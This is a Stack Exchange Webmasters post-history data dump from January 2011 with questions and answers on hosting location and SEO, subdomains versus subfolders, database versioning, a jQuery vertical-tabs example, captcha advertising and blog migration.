  <row Id="16509" PostHistoryTypeId="2" PostId="7766" RevisionGUID="ba6cf4eb-e9d0-498c-b247-9a86505ec394" CreationDate="2011-01-15T06:32:32.083" UserId="4632" Text="I have read that the server location is important for a website to be SEO friendly. I am planning to build a website from scratch which is targetted mainly to french audience (in france), but I am planning to host the web site at godaddy.com.&#xD;&#xA;&#xD;&#xA;My concern is will it hurt the website SEO friendliness? Or do you recommend me to host the website in france itself? I have also read that I need to have a static IP Address. If it's true, can anyone explain me for what reason? &#xD;&#xA;&#xD;&#xA;Can anyone suggest me some good web hosting companies, prefereable in france?&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;" />
  <row Id="16510" PostHistoryTypeId="1" PostId="7766" RevisionGUID="ba6cf4eb-e9d0-498c-b247-9a86505ec394" CreationDate="2011-01-15T06:32:32.083" UserId="4632" Text="Will it hurt my website's SEO friendliness if I host a french targetted website at, let's say, godaddy.com?" />
  <row Id="16511" PostHistoryTypeId="3" PostId="7766" RevisionGUID="ba6cf4eb-e9d0-498c-b247-9a86505ec394" CreationDate="2011-01-15T06:32:32.083" UserId="4632" Text="&lt;seo&gt;&lt;web-development&gt;&lt;website-design&gt;&lt;web-hosting&gt;" />
  <row Id="16512" PostHistoryTypeId="2" PostId="7767" RevisionGUID="c19eee92-ca27-45ac-8b3c-26dc245abf38" CreationDate="2011-01-15T07:43:23.397" UserId="4311" Text="As long as you use a .fr domain name, the location of the server shouldn't matter. You should never host any serious website on a dynamic IP address, for all kinds of reasons, but I sincerely doubt that GoDaddy has any hosting packages that don't have static IP addresses." />
  <row Id="16513" PostHistoryTypeId="25" PostId="7766" RevisionGUID="4b9372a4-e978-483d-8d3f-db5b81fe6247" CreationDate="2011-01-15T07:55:34.937" Comment="http://twitter.com/#!/StackWebmasters/status/26185712499949568" />
  <row Id="16514" PostHistoryTypeId="25" PostId="7756" RevisionGUID="abcf7ccf-c6dc-4892-88d7-4b6459c38d73" CreationDate="2011-01-15T10:55:34.937" Comment="http://twitter.com/#!/StackWebmasters/status/26231010362400768" />
  <row Id="16515" PostHistoryTypeId="2" PostId="7768" RevisionGUID="49843196-1352-4c7a-87e6-d0c47de9fe90" CreationDate="2011-01-15T11:16:34.303" UserId="4635" Text="I run a photography website where each user has its own subdomain (i.e. user.site.com). I'm thinking of adding user groups but I'm unable to decide if I should also associate a separate subdomain or simply a subfolder for each group:&#xD;&#xA;&#xD;&#xA;**Subfolders** (www.site.com/groups/my-group)&#xD;&#xA;&#xD;&#xA;*Pros:*&#xD;&#xA; &#xD;&#xA; - Easier to maintain from a tehnical p.o.v.&#xD;&#xA;&#xD;&#xA;*Cons:*&#xD;&#xA;&#xD;&#xA; - Harder to memorize.&#xD;&#xA; - The URLs can get really long (www.site.com/groups/my-group/albums/my-album/)&#xD;&#xA;&#xD;&#xA;**Subdomains** (my-group.site.com)&#xD;&#xA;&#xD;&#xA;*Pros:*&#xD;&#xA;&#xD;&#xA; - Easier to memorize.&#xD;&#xA; - Shorter URLs.&#xD;&#xA; - One might have the impression that such an URL is somewhat more &quot;independent&quot; from the main site.&#xD;&#xA;&#xD;&#xA;*Cons:*&#xD;&#xA;&#xD;&#xA; - Group and user names belong to the same name space, so we need to check for collisions when creating a new user/group.&#xD;&#xA; - One cannot determine the content of the page by only reading the URL: Is x.site.com a user page or a group page?&#xD;&#xA;&#xD;&#xA;What's your opinion on the matter? I should note that DeviantArt.com uses the 2nd option (that's where I got the idea). Thank you in advance!" />
  <row Id="16516" PostHistoryTypeId="1" PostId="7768" RevisionGUID="49843196-1352-4c7a-87e6-d0c47de9fe90" CreationDate="2011-01-15T11:16:34.303" UserId="4635" Text="Should I use subdomains or subfolders for my user groups?" />
  <row Id="16517" PostHistoryTypeId="3" PostId="7768" RevisionGUID="49843196-1352-4c7a-87e6-d0c47de9fe90" CreationDate="2011-01-15T11:16:34.303" UserId="4635" Text="&lt;seo&gt;&lt;url&gt;&lt;url-rewriting&gt;&lt;community&gt;" />
  <row Id="16518" PostHistoryTypeId="2" PostId="7769" RevisionGUID="92d9b1f0-fbc2-4453-ae82-e5c1b2304a69" CreationDate="2011-01-15T11:28:11.517" UserId="4451" Text="I think you pretty much laid down a good set of pros and cons for each.  And before I read all your post, I was thinking about deviant art and how they use subdomains for users.  For me, it really depends on the project and how I feel it best suits it.  They each have their own feel, and they each have their own pros/cons.  I use Drupal for most sites/apps, and it is more work and coding to use subdomains, but for some reason I like it better.  Could you have groups as subdomains, and users as subfolders?  Or visa versa.  Oh wait, you noted that in the Cons.  If you have a good system in place to check and regulate the collisions, I would do it that way." />
  <row Id="16519" PostHistoryTypeId="2" PostId="7770" RevisionGUID="74a79eea-bf1c-4f54-8bbf-411f4b0f7c0e" CreationDate="2011-01-15T12:19:06.017" UserId="2293" Text="The solution actually may depend on database used.&#xD;&#xA;&#xD;&#xA;But generally, keep three servers (dev, test, prod), and work separate structure dump from data dump. You can keep versioning track of structure through the generated SQL files.&#xD;&#xA;&#xD;&#xA;Well, I've seems this process being used for many medium/big projects, and I recommend it." />
  <row Id="16520" PostHistoryTypeId="2" PostId="7771" RevisionGUID="dea649cb-a8fc-468d-8932-00c0e33368ee" CreationDate="2011-01-15T12:46:22.837" UserId="4633" Text="can you help me a little?&#xD;&#xA;&#xD;&#xA;I need some kind of vertical tabs for switching content. You can find such tabs at microsoft.com (under main large banner). The main problem that i saw such tutorial recently but i forgot to bookmark it.&#xD;&#xA;&#xD;&#xA;If anybody knows about any tutorial, template or article - please answer here.&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="16521" PostHistoryTypeId="1" PostId="7771" RevisionGUID="dea649cb-a8fc-468d-8932-00c0e33368ee" CreationDate="2011-01-15T12:46:22.837" UserId="4633" Text="Jquery Vertical Tabbed Content" />
  <row Id="16522" PostHistoryTypeId="3" PostId="7771" RevisionGUID="dea649cb-a8fc-468d-8932-00c0e33368ee" CreationDate="2011-01-15T12:46:22.837" UserId="4633" Text="&lt;css&gt;&lt;jquery&gt;&lt;content&gt;" />
  <row Id="16523" PostHistoryTypeId="2" PostId="7772" RevisionGUID="00d9d4d9-05a2-4cbf-806b-f23aaa79cd9b" CreationDate="2011-01-15T13:37:14.660" UserId="1424" Text="Where can I find a theme kit to use for my websites, to skin them as html5 applications... &#xD;&#xA;&#xD;&#xA;Sorry, I dunno how to explain myself.. I see this style in new web applications:&#xD;&#xA;![alt text][1]&#xD;&#xA;![alt text][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/nojUy.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/n7IJE.png" />
  <row Id="16524" PostHistoryTypeId="1" PostId="7772" RevisionGUID="00d9d4d9-05a2-4cbf-806b-f23aaa79cd9b" CreationDate="2011-01-15T13:37:14.660" UserId="1424" Text="look and feel of html5 applications ?" />
  <row Id="16525" PostHistoryTypeId="3" PostId="7772" RevisionGUID="00d9d4d9-05a2-4cbf-806b-f23aaa79cd9b" CreationDate="2011-01-15T13:37:14.660" UserId="1424" Text="&lt;css&gt;&lt;theme&gt;" />
  <row Id="16526" PostHistoryTypeId="25" PostId="7768" RevisionGUID="c2362e4a-c9a9-4418-9986-1c80839c6e8b" CreationDate="2011-01-15T13:55:34.763" Comment="http://twitter.com/#!/StackWebmasters/status/26276308342276096" />
  <row Id="16527" PostHistoryTypeId="2" PostId="7773" RevisionGUID="90bfeb90-95ac-4548-b34a-2ae0ee17c5c9" CreationDate="2011-01-15T16:03:15.913" UserId="1757" Text="Most revision control systems are designed for source control. They're not designed for versioning other sorts of data, like binary data or databases.&#xD;&#xA;&#xD;&#xA;In most cases, there isn't really a reason to version your data--not for development anyway. Generally, your source code ought not to rely on a particular data state.&#xD;&#xA;&#xD;&#xA;Usually, what's versioned is the schema (and maybe stored procedures). And since the only way this can be meaningfully done is for the diff engine to contain a full DDL parser, the revision control system is usually tied to the data modeling software you're using.&#xD;&#xA;&#xD;&#xA;But since that type of software can be quite expensive, there are also [other options][1]. For instance, you could simply version a schema dump or a database creation/initialization script. Alternatively, you could manually write upgrade scripts to upgrade from one version of the database to another. This can be a pain, but that's why you should try to get your data model correct from the start. If you're constantly changing your database schema from one revision to the next, then you're probably doing something wrong.&#xD;&#xA;&#xD;&#xA;As for the data, I usually just store test data separately in a CSV file or something. And that can typically be imported automatically through the application, which will handle the conversion process to whatever database schema it's using.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/175451/how-do-you-version-your-database-schema" />
  <row Id="16528" PostHistoryTypeId="25" PostId="7772" RevisionGUID="238c61fe-2b52-442b-99c1-656efca51668" CreationDate="2011-01-15T16:55:34.677" Comment="http://twitter.com/#!/StackWebmasters/status/26321606900977664" />
  <row Id="16529" PostHistoryTypeId="2" PostId="7774" RevisionGUID="da7bb125-a056-4b71-8c32-07dd239c3ca6" CreationDate="2011-01-15T16:57:31.310" UserId="3364" Text="I'm looking for the equivalent of consumer reports for hosting companies. But I would be happy with any neutral data comparing one site to another.&#xD;&#xA;&#xD;&#xA;Does anyone have any links to data the speed of various popular hosting sites versus one another?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've seen [this question][1] about measuring your own website, I want to see measurements for other hosts against each other.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/q/2683/3364" />
  <row Id="16530" PostHistoryTypeId="1" PostId="7774" RevisionGUID="da7bb125-a056-4b71-8c32-07dd239c3ca6" CreationDate="2011-01-15T16:57:31.310" UserId="3364" Text="Are there any sites that measure the page response speed of various hosting companies?" />
  <row Id="16531" PostHistoryTypeId="3" PostId="7774" RevisionGUID="da7bb125-a056-4b71-8c32-07dd239c3ca6" CreationDate="2011-01-15T16:57:31.310" UserId="3364" Text="&lt;web-hosting&gt;&lt;websites&gt;&lt;web&gt;" />
  <row Id="16532" PostHistoryTypeId="2" PostId="7775" RevisionGUID="ed728993-6d34-403f-9cd0-e016af53ce43" CreationDate="2011-01-15T07:30:11.627" UserDisplayName="mstearne" Text="Since flv supports H.264 playback and iPhone/iPad also supports h.264 playback are there any compression settings that can be used to support playback on both platforms without needing to store/serve 2 files for each video?" />
  <row Id="16533" PostHistoryTypeId="1" PostId="7775" RevisionGUID="ed728993-6d34-403f-9cd0-e016af53ce43" CreationDate="2011-01-15T07:30:11.627" UserDisplayName="mstearne" Text="Is there a single video compression settings set that will allow the same file be used for Flash .flv and iPhone H.264 playback?" />
  <row Id="16534" PostHistoryTypeId="3" PostId="7775" RevisionGUID="ed728993-6d34-403f-9cd0-e016af53ce43" CreationDate="2011-01-15T07:30:11.627" UserDisplayName="mstearne" Text="&lt;video&gt;&lt;iphone&gt;&lt;flash&gt;" />
  <row Id="16535" PostHistoryTypeId="17" PostId="7775" RevisionGUID="57fba2bc-d7af-4b31-9706-b85c57c87f17" CreationDate="2011-01-15T18:07:53.123" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/11330/is-there-a-single-video-compression-settings-set-that-will-allow-the-same-file-be" Text="" />
  <row Id="16536" PostHistoryTypeId="25" PostId="7771" RevisionGUID="5a71dc0c-18c6-4659-89c0-4dafe0637403" CreationDate="2011-01-15T19:55:34.680" Comment="http://twitter.com/#!/StackWebmasters/status/26366904704700416" />
  <row Id="16537" PostHistoryTypeId="2" PostId="7776" RevisionGUID="23fee878-fe5d-4785-ba56-3c7892d1d04e" CreationDate="2011-01-15T22:41:04.197" UserId="1064" Text="BestHostRatings.com has an [Uptime Report][1] which may be of some interest, however, having worked at various hosting companies, I should qualify that recommendation by stating that (a) only the most amateurish companies will host their *own* sites on servers used for customer sites and (b) larger companies will implement redundant sites (i.e. they will have multiple datacenters) and will likely show *no* downtime, as datacenter outages are generally few and far between (and the likelihood of multiple datacenters with multiple uplinks going down simultaneously isn't very good).&#xD;&#xA;&#xD;&#xA;In short, the performance of a company's own site has very little to do with the performance you can expect from a site hosted with the company.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://uptime.besthostratings.com/" />
  <row Id="16538" PostHistoryTypeId="25" PostId="7774" RevisionGUID="46aaf6a0-144f-4032-845f-f69fd734716a" CreationDate="2011-01-15T22:55:35.137" Comment="http://twitter.com/#!/StackWebmasters/status/26412205314408448" />
  <row Id="16539" PostHistoryTypeId="2" PostId="7777" RevisionGUID="88ad67e3-4b22-44d8-a2ca-79710d660d35" CreationDate="2011-01-15T23:09:58.260" UserId="4451" Text="Search Google for **gui themes** and **gui templates**" />
  <row Id="16540" PostHistoryTypeId="5" PostId="7777" RevisionGUID="7971a6cb-8425-4df6-96f1-e170b301a666" CreationDate="2011-01-15T23:15:31.110" UserId="4451" Comment="added 93 characters in body; added 113 characters in body" Text="Search Google for things like:&lt;br/&gt;&#xD;&#xA;**gui themes**&lt;br/&gt;&#xD;&#xA;**gui templates**&lt;br/&gt;&#xD;&#xA;**free gui templates**&lt;br/&gt;&#xD;&#xA;**free gui themes**&lt;br/&gt;&#xD;&#xA;Also, I am pretty sure one of the **Envato** family of websites has gui templates and such. Most likely ThemeForest maybe??" />
  <row Id="16543" PostHistoryTypeId="25" PostId="7757" RevisionGUID="e3788c0c-4690-4431-94f4-57701222d660" CreationDate="2011-01-16T01:55:35.803" Comment="http://twitter.com/#!/StackWebmasters/status/26457506993676288" />
  <row Id="16544" PostHistoryTypeId="25" PostId="7682" RevisionGUID="9a1c97e7-98e3-4c0d-bf19-32538d34c8b6" CreationDate="2011-01-16T04:55:35.543" Comment="http://twitter.com/#!/StackWebmasters/status/26502803597819904" />
  <row Id="16545" PostHistoryTypeId="2" PostId="7779" RevisionGUID="87d5ad95-1a91-4ef4-8a3b-caf788a797ac" CreationDate="2011-01-16T06:55:18.853" UserDisplayName="JP19" Text="Yes. Hosting country does affect in two ways:&#xD;&#xA;&#xD;&#xA;1) Average load time  (in your case though, france to godaddy servers should not be too large)&#xD;&#xA;&#xD;&#xA;2) SEO: If your competitor has similar site hosted in france (similar page rank etc), he is likely to be shown higher in google.fr results and you are likely to be shown higher in google.com results. Naturally you would much rather have the former. Note that this thing applies only when comparing two equivalent sites hosted in different countries - not too widely different or differently ranked sites.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I suggest get a server in  France.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Don't use dynamic IP: &#xD;&#xA;&#xD;&#xA;i) Average DNS resolution time (for queries  at the moment when your IP has just changed, the effective resolution time for some users *can* be as large as the TTL - ), &#xD;&#xA;&#xD;&#xA;ii)SEO (not confirmed, but I am sure google doesnt like a new IP everytime it crawls your website), &#xD;&#xA;&#xD;&#xA;iii) high likelyhood of any mail sent from your domain with dynamic ip landing in spam, &#xD;&#xA;&#xD;&#xA;iv) maintenance overhead, lack of robustness etc.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Checkout some VPS provider in France.  http://www.lowendbox.com/tag/france/&#xD;&#xA;Be sure you can manage your own VPS before getting one though." />
  <row Id="16546" PostHistoryTypeId="2" PostId="7780" RevisionGUID="8ddf6545-fa60-4499-be66-678e1445d0ef" CreationDate="2011-01-16T07:33:00.853" UserId="1046" Text="I have been writing articles on the [wordpress.com blog][1], now i am looking to move it to self-hosted wordpress blog but i wonder:&#xD;&#xA;&#xD;&#xA;**1)**&#xD;&#xA;&#xD;&#xA;Should i move all my articles on the new blog or just put an article on my last blog that more articles will be posted on my new blog?&#xD;&#xA;&#xD;&#xA;**2)**&#xD;&#xA;&#xD;&#xA;If i move all articles on my new blog, i am not sure about how google will react to it because there are articles with good number of visitors, won't this be seo-un-friendly because i am not sure but google will re-create page reputation stuff, etc or those articles will have same popularity even if i move elsewhere?&#xD;&#xA;&#xD;&#xA;**3)**&#xD;&#xA;&#xD;&#xA;What are the implications and side-effects in moving from wordpress.com blog to self-hosted wordpress blog?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sarfraznawaz.wordpress.com/" />
  <row Id="16547" PostHistoryTypeId="1" PostId="7780" RevisionGUID="8ddf6545-fa60-4499-be66-678e1445d0ef" CreationDate="2011-01-16T07:33:00.853" UserId="1046" Text="wordpress.com to self-hosted wordpress blog" />
  <row Id="16548" PostHistoryTypeId="3" PostId="7780" RevisionGUID="8ddf6545-fa60-4499-be66-678e1445d0ef" CreationDate="2011-01-16T07:33:00.853" UserId="1046" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;&lt;wordpress&gt;" />
  <row Id="16549" PostHistoryTypeId="2" PostId="7781" RevisionGUID="a9797b88-04ec-42cb-8291-7242406865c6" CreationDate="2011-01-16T07:49:06.473" UserId="4643" Text="I am a real dummy in [web monetizing][1] schemes.  &#xD;&#xA; &#xD;&#xA;[ 1 ] informs:&#xD;&#xA;&#xD;&#xA; - &quot;[Solve][2] [Media] charges a fee of about 25 cents to 50 cents for each form that is filled out using a Type-In ad [captcha]...  the company splits its fees 50-50 with the websites where the ads are placed&quot;  &#xD;&#xA;&#xD;&#xA;Honestly, I cannot imagine that someone (in its proper senses) pasy that much money for just one captcha passed.  &#xD;&#xA;And how to understand these claims?   &#xD;&#xA;&#xD;&#xA;http://www.solvemedia.com/images/ie9_aboutcalcount.png shows:  &#xD;&#xA;![alt text][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why would Microsot pay 0.25-0.5 USD for each entered string &quot;Be part of the Beta&quot;?  &#xD;&#xA;&#xD;&#xA;Has any of webmasters (sysadmins) got those from deployed SolveMedia captchas on their websites?  &#xD;&#xA;&#xD;&#xA;Is it scam? &#xD;&#xA;Because if to check the sites mentioned in http://www.solvemedia.com/gallery.html,  &#xD;&#xA;that is, for ex., http://www.toyotanation.com/forum/register.php?do=register, the latter do not have such captchas.  &#xD;&#xA;&#xD;&#xA;What do I miss?  &#xD;&#xA;&#xD;&#xA;Cited:&#xD;&#xA;[ 1 ]  &#xD;&#xA;Jennifer Valentino-DeVries  &#xD;&#xA;&quot;An Online Ad That’s Tough to Ignore&quot;  &#xD;&#xA;WallStreet Journal Blog   &#xD;&#xA;SEPTEMBER 20, 2010   &#xD;&#xA;[http://blogs.wsj.com/digits/2010/09/20/an-online-ad-thats-tough-to-ignore][4]/ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Website_monetization&#xD;&#xA;  [2]: http://www.solvemedia.com/index.html&#xD;&#xA;  [3]: http://i.stack.imgur.com/KfOie.png&#xD;&#xA;  [4]: http://blogs.wsj.com/digits/2010/09/20/an-online-ad-thats-tough-to-ignore" />
  <row Id="16550" PostHistoryTypeId="1" PostId="7781" RevisionGUID="a9797b88-04ec-42cb-8291-7242406865c6" CreationDate="2011-01-16T07:49:06.473" UserId="4643" Text="Had anybody earned $0.25+ from each of a captcha (on your website) passing?  " />
  <row Id="16551" PostHistoryTypeId="3" PostId="7781" RevisionGUID="a9797b88-04ec-42cb-8291-7242406865c6" CreationDate="2011-01-16T07:49:06.473" UserId="4643" Text="&lt;captcha&gt;" />
  <row Id="16552" PostHistoryTypeId="25" PostId="6556" RevisionGUID="7d2a8440-36d2-4178-95c2-524c5987bfc4" CreationDate="2011-01-16T07:55:35.970" Comment="http://twitter.com/#!/StackWebmasters/status/26548103788101634" />
  <row Id="16553" PostHistoryTypeId="6" PostId="7781" RevisionGUID="d7c5c728-863e-46af-ba65-1882b2bac7bc" CreationDate="2011-01-16T07:59:19.947" UserId="4643" Comment="edited tags" Text="&lt;advertising&gt;&lt;security&gt;&lt;ecommerce&gt;&lt;payments&gt;&lt;captcha&gt;" />
  <row Id="16560" PostHistoryTypeId="2" PostId="7784" RevisionGUID="6c8bb47f-b0a5-4562-bfce-aafde44e2681" CreationDate="2011-01-16T09:33:07.473" UserId="4311" Text="I doubt they're getting quite the rates quoted in the article, but it doesn't look like a scam. Advertisers genuinely will pay more for something that improves engagement with and recall of the ad." />
  <row Id="16561" PostHistoryTypeId="25" PostId="7781" RevisionGUID="c7b38bdc-e5b9-4ebf-a156-8df4b43e86db" CreationDate="2011-01-16T10:55:35.827" Comment="http://twitter.com/#!/StackWebmasters/status/26593401772183552" />
  <row Id="16562" PostHistoryTypeId="2" PostId="7785" RevisionGUID="355ac6e1-83f7-4ead-85ed-734d831ddf13" CreationDate="2011-01-16T11:39:15.637" UserId="1064" Text="jQuery makes it really, really easy - here's a working example:&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE html&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;title&gt;jQuery Vertical Tabs&lt;/title&gt;&#xD;&#xA;    &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;    ul#verticalNav {&#xD;&#xA;    	float:left;&#xD;&#xA;    	clear:left;&#xD;&#xA;    	width:15%;&#xD;&#xA;    }&#xD;&#xA;    div#sections {&#xD;&#xA;    	float:right;&#xD;&#xA;    	clear:right;&#xD;&#xA;    	width:80%;&#xD;&#xA;    }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    function showSection( sectionID ) {&#xD;&#xA;    	$('div.section').css( 'display', 'none' );&#xD;&#xA;    	$('div'+sectionID).css( 'display', 'block' );&#xD;&#xA;    }&#xD;&#xA;    $(document).ready(function(){&#xD;&#xA;    	if (&#xD;&#xA;    		$('ul#verticalNav li a').length &amp;&amp;&#xD;&#xA;    		$('div.section').length&#xD;&#xA;    	) {&#xD;&#xA;    		$('div.section').css( 'display', 'none' );&#xD;&#xA;    		$('ul#verticalNav li a').each(function() {&#xD;&#xA;    			$(this).click(function() {&#xD;&#xA;    				showSection( $(this).attr('href') );&#xD;&#xA;    			});&#xD;&#xA;    		});&#xD;&#xA;    		$('ul#verticalNav li:first-child a').click();&#xD;&#xA;    	}&#xD;&#xA;    });&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    	&lt;h1&gt;Vertical Navigation Example&lt;/h1&gt;&#xD;&#xA;    	&lt;p&gt;This page demonstrates a simple tabbed jQuery navigation scheme.&lt;/p&gt;&#xD;&#xA;    	&lt;ul id=&quot;verticalNav&quot;&gt;&#xD;&#xA;    		&lt;li&gt;&lt;a href=&quot;#section1&quot;&gt;Section I&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;    		&lt;li&gt;&lt;a href=&quot;#section2&quot;&gt;Section II&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;    		&lt;li&gt;&lt;a href=&quot;#section3&quot;&gt;Section III&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;    	&lt;/ul&gt;&#xD;&#xA;    	&lt;div id=&quot;sections&quot;&gt;&#xD;&#xA;    		&lt;div class=&quot;section&quot; id=&quot;section1&quot;&gt;&#xD;&#xA;    			&lt;h2&gt;Section I&lt;/h2&gt;&#xD;&#xA;    			&lt;p&gt;Some content specific to this section...&lt;/p&gt;&#xD;&#xA;    		&lt;/div&gt;&#xD;&#xA;    		&lt;div class=&quot;section&quot; id=&quot;section2&quot;&gt;&#xD;&#xA;    			&lt;h2&gt;Section II&lt;/h2&gt;&#xD;&#xA;    			&lt;img src=&quot;http://upload.wikimedia.org/wikipedia/commons/6/66/Badger.jpg&quot; alt=&quot;BADGER&quot; /&gt;&#xD;&#xA;    		&lt;/div&gt;&#xD;&#xA;    		&lt;div class=&quot;section&quot; id=&quot;section3&quot;&gt;&#xD;&#xA;    			&lt;h2&gt;Section III&lt;/h2&gt;&#xD;&#xA;    			&lt;img src=&quot;http://upload.wikimedia.org/wikipedia/commons/thumb/7/76/Coast_Garter_Snake.jpg/800px-Coast_Garter_Snake.jpg&quot; alt=&quot;SNAKE&quot; /&gt;&#xD;&#xA;    		&lt;/div&gt;&#xD;&#xA;    	&lt;/div&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;" />
  <row Id="16563" PostHistoryTypeId="2" PostId="7786" RevisionGUID="02b9bbf9-7f25-4863-85e3-78dee8d58b06" CreationDate="2011-01-16T12:54:26.483" UserId="3175" Text="I currently host 5 websites within a dedicated server I own.&#xD;&#xA;&#xD;&#xA;I have several questions:&#xD;&#xA;&#xD;&#xA; 1. Does it matter if I host all my sites on 100.100.100.100 (the server's IP for example) or if I split them into 100.100.100.100, 100.100.100.101 ... 100.100.100.104 (that is, each site on its own IP).&#xD;&#xA; 2. Does it matter if I use a C-Class for each website? Do search engines really care if your site has its own c-class?&#xD;&#xA; 3. Do search engines penalize a website if it moves its IP?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Joel" />
  <row Id="16564" PostHistoryTypeId="1" PostId="7786" RevisionGUID="02b9bbf9-7f25-4863-85e3-78dee8d58b06" CreationDate="2011-01-16T12:54:26.483" UserId="3175" Text="IP address and SEO" />
  <row Id="16565" PostHistoryTypeId="3" PostId="7786" RevisionGUID="02b9bbf9-7f25-4863-85e3-78dee8d58b06" CreationDate="2011-01-16T12:54:26.483" UserId="3175" Text="&lt;seo&gt;&lt;ip-address&gt;" />
  <row Id="16566" PostHistoryTypeId="2" PostId="7787" RevisionGUID="d47661c8-4a90-4104-bf75-f5f55e79b8b1" CreationDate="2011-01-16T13:23:38.147" UserId="2379" Text="More important for Mail servers, and spam than SEO.  Google will obviously assume that all sites on the group are owned and operated by one person or company.  Meaning if you link from one site to another it doesnt really benefit you.&#xD;&#xA;&#xD;&#xA;I have about 15 ip's in a row, all different online ventures, and have had no problems.&#xD;&#xA;Plus i think with elastic ip's and more cloud hosting its likely that it will have no weight positive or negative really soon.&#xD;&#xA;&#xD;&#xA;other words.&#xD;&#xA;dont worry about it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16567" PostHistoryTypeId="2" PostId="7788" RevisionGUID="276221e1-092c-4be9-8595-d4639f233652" CreationDate="2011-01-16T13:25:19.330" UserId="2379" Text="figure you take the beta, use IE 9, and then Bing for search instead of google.  The 25 cents comes back 100 fold.&#xD;&#xA;&#xD;&#xA;MSFT is not dumb.  They have done their market research and have deep pockets to buy a market. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="16568" PostHistoryTypeId="2" PostId="7789" RevisionGUID="63700fba-1d4c-44fb-a283-629982bd99e5" CreationDate="2011-01-16T13:27:59.203" UserId="2379" Text="you can just do it with subdomains and save a ton of money.&#xD;&#xA;You can have cheaptoyotas.mydealership.com and cheaphondas.mydealership.com all with a landing page going back to your site.&#xD;&#xA;&#xD;&#xA;The benefit of this is you can focus heavily on that page as a single site.  So its keywords and content will not get diluted since its a one page site. &#xD;&#xA;&#xD;&#xA;The drawback is that it takes a shit load of time.&#xD;&#xA;&#xD;&#xA;its a good approach to build these landing pages and use them for SEO and PPC .&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16569" PostHistoryTypeId="2" PostId="7790" RevisionGUID="c0d0ba5a-4b6c-4fc7-9216-1990530af1ec" CreationDate="2011-01-16T13:29:53.100" UserId="2379" Text="you can also loot at microsoft online services.  Sharepoint sucks so bad, I would look into a cleaner alternative such as Box.net.  I love MSFT but hate BizTalk, SharePoint, and their CRM.  &#xD;&#xA;&#xD;&#xA;I use MSFT online services for exchange, and also have rackspace for exchange.  Rackspace is a lot NICER, but MSFT online services may give you more.  Check them out.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16570" PostHistoryTypeId="2" PostId="7791" RevisionGUID="2ba84fb0-2c2a-4bb6-b308-0f5f8d0d5ae4" CreationDate="2011-01-16T12:55:57.977" UserDisplayName="Mason Chang" Text="I have a website which is going to show my shareware, another site for my blog. I will post all my thinkings/development tips/design tips/business experience on my blog, but most of them are not related to my shareware. Software users may not interested in my blog. In this case, is it still better to host my blog to another domain?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="16571" PostHistoryTypeId="1" PostId="7791" RevisionGUID="2ba84fb0-2c2a-4bb6-b308-0f5f8d0d5ae4" CreationDate="2011-01-16T12:55:57.977" UserDisplayName="Mason Chang" Text="blog.domain.com(domain.com/blog) or another-domain.org" />
  <row Id="16572" PostHistoryTypeId="3" PostId="7791" RevisionGUID="2ba84fb0-2c2a-4bb6-b308-0f5f8d0d5ae4" CreationDate="2011-01-16T12:55:57.977" UserDisplayName="Mason Chang" Text="&lt;domains&gt;&lt;blog&gt;&lt;business&gt;" />
  <row Id="16573" PostHistoryTypeId="17" PostId="7791" RevisionGUID="e3ba2788-eec2-469f-93d5-3a691a86b5d8" CreationDate="2011-01-16T13:46:53.617" UserId="-1" Comment="from http://stackoverflow.com/questions/4705459/blog-domain-comdomain-com-blog-or-another-domain-org" Text="" />
  <row Id="16574" PostHistoryTypeId="25" PostId="7786" RevisionGUID="99184094-57af-479d-9951-9895535e1e7d" CreationDate="2011-01-16T13:55:35.727" Comment="http://twitter.com/#!/StackWebmasters/status/26638699886288896" />
  <row Id="16575" PostHistoryTypeId="2" PostId="7792" RevisionGUID="835cc090-11b4-4116-9454-4badc1b81ee0" CreationDate="2011-01-16T15:15:08.003" UserId="576" Text="Adapt [PPK's JavaScript-based browser detection script][1]&#xD;&#xA;&#xD;&#xA;Note that most browsers have ways (natively or through add-ons) to report their user-agent as something else. So there may not be a 100% foolproof way to detect browsers.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quirksmode.org/blog/archives/2006/07/browser_detect.html" />
